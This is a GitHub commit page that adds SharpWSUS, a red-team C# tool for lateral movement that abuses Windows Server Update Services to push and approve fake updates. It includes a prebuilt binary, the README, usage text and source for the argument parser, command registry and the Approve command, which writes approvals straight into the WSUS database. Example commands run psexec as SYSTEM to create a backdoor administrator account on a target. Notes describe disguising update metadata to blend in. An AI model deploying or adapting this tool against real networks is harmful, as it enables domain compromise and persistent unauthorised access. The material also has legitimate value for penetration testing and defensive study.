Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
cmahrl committed May 10, 2024
1 parent 1cb1b68 commit 966f429
Show file tree
Hide file tree
Showing 28 changed files with 1,891 additions and 0 deletions.
Binary file added bin/SharpWSUS.exe
Binary file not shown.
8 changes: 8 additions & 0 deletions repos/SharpWSUS/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
.vs
*.user
[Dd]ebug/
[Rr]elease/
[Bb]in/
[Oo]bj/
.DS_Store

65 changes: 65 additions & 0 deletions repos/SharpWSUS/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# SharpWSUS

SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection.

## Credits

Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.

* https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
* https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS

## Help Menu

```
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
Commands listed below have optional parameters in <>.
Locate the WSUS server:
SharpWSUS.exe locate
Inspect the WSUS server, enumerating clients, servers and existing groups:
SharpWSUS.exe inspect
Create an update (NOTE: The payload has to be a windows signed binary):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>
Approve an update:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>
Check status of an update:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
Delete update and clean up groups added:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>
```

## Example Usage

```
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
```

## Notes

* Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
* The metadata on the create command is not needed, but is useful for blending in to the environment.
* If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)
25 changes: 25 additions & 0 deletions repos/SharpWSUS/SharpWSUS.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31410.357
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA}
EndGlobalSection
EndGlobal
43 changes: 43 additions & 0 deletions repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
using System.Collections.Generic;
using System.Diagnostics;

namespace SharpWSUS.Args
{
public static class ArgumentParser
{
public static ArgumentParserResult Parse(IEnumerable<string> args)
{
var arguments = new Dictionary<string, string>();
try
{
foreach (var argument in args)
{
var idx = argument.IndexOf(':');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
else
{
idx = argument.IndexOf('=');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
else
{
arguments[argument] = string.Empty;
}
}
}

return ArgumentParserResult.Success(arguments);
}
catch (System.Exception ex)
{
Debug.WriteLine(ex.Message);
return ArgumentParserResult.Failure();
}
}
}
}
23 changes: 23 additions & 0 deletions repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
using System.Collections.Generic;

namespace SharpWSUS.Args
{
public class ArgumentParserResult
{
public bool ParsedOk { get; }
public Dictionary<string, string> Arguments { get; }

private ArgumentParserResult(bool parsedOk, Dictionary<string, string> arguments)
{
ParsedOk = parsedOk;
Arguments = arguments;
}

public static ArgumentParserResult Success(Dictionary<string, string> arguments)
=> new ArgumentParserResult(true, arguments);

public static ArgumentParserResult Failure()
=> new ArgumentParserResult(false, null);

}
}
49 changes: 49 additions & 0 deletions repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
using System;
using System.Collections.Generic;
using SharpWSUS.Commands;

namespace SharpWSUS.Args
{
public class CommandCollection
{
private readonly Dictionary<string, Func<ICommand>> _availableCommands = new Dictionary<string, Func<ICommand>>();

// How To Add A New Command:
// 1. Create your command class in the Commands Folder
// a. That class must have a CommandName static property that has the Command's name
// and must also Implement the ICommand interface
// b. Put the code that does the work into the Execute() method
// 2. Add an entry to the _availableCommands dictionary in the Constructor below.

public CommandCollection()
{
_availableCommands.Add(Create.CommandName, () => new Create());
_availableCommands.Add(Approve.CommandName, () => new Approve());
_availableCommands.Add(Check.CommandName, () => new Check());
_availableCommands.Add(Delete.CommandName, () => new Delete());
_availableCommands.Add(Inspect.CommandName, () => new Inspect());
_availableCommands.Add(Locate.CommandName, () => new Locate());

}

public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
{
bool commandWasFound;

if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
commandWasFound= false;
else
{
// Create the command object
var command = _availableCommands[commandName].Invoke();

// and execute it with the arguments from the command line
command.Execute(arguments);

commandWasFound = true;
}

return commandWasFound;
}
}
}
55 changes: 55 additions & 0 deletions repos/SharpWSUS/SharpWSUS/Args/Info.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
using System;

namespace SharpWSUS.Args
{
public static class Info
{
public static void ShowLogo()
{
string logo = @"
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
";
Console.WriteLine(logo);
}

public static void ShowUsage()
{
string usage = @"
Commands listed below have optional parameters in <>.
Locate the WSUS server:
SharpWSUS.exe locate
Inspect the WSUS server, enumerating clients, servers and existing groups:
SharpWSUS.exe inspect
Create an update (NOTE: The payload has to be a windows signed binary):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>
Approve an update:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>
Check status of an update:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
Delete update and clean up groups added:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>
##### Examples ######
Executing whoami as SYSTEM on a remote machine:
SharpWSUS.exe inspect
SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com""
SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group""
SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1
SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group""
";
Console.WriteLine(usage);
}
}
}
81 changes: 81 additions & 0 deletions repos/SharpWSUS/SharpWSUS/Commands/Approve.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
using System;
using System.Data.SqlClient;
using System.Collections.Generic;

namespace SharpWSUS.Commands
{
public class Approve : ICommand
{

public static string CommandName => "approve";

public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("[*] Action: Approve Update");

string UpdateID = "";
string ComputerName = "";
string GroupName = "InjectGroup";
string Approver = "WUS Server";
Group.GroupExists = false;

if (arguments.ContainsKey("/updateid"))
{
UpdateID = arguments["/updateid"];
}

if (arguments.ContainsKey("/computername"))
{
ComputerName = arguments["/computername"];
}

if (arguments.ContainsKey("/groupname"))
{
GroupName = arguments["/groupname"];
}

if (arguments.ContainsKey("/approver"))
{
Approver = arguments["/approver"];
}

Server.GetServerDetails();
SqlCommand sqlComm = new SqlCommand();
sqlComm.Connection = Connect.FsqlConnection();

ClGuid.GenerateTargetGroupGUID();

if (!Group.FbGetComputerTarget(sqlComm, ComputerName))
{
return;
}

if (!Group.FbGetGroupID(sqlComm, GroupName))
{
return;
}

Console.WriteLine("Group Exists = {0}", Group.GroupExists);
if (Group.GroupExists == false)
{
if (!Group.FbCreateGroup(sqlComm, GroupName))
{
return;
}
}

if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID))
{
return;
}

if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver))
{
return;
}

Console.WriteLine("\r\n[*] Approve complete\r\n");
return;
}
}
}
Loading

0 comments on commit 966f429

Please sign in to comment.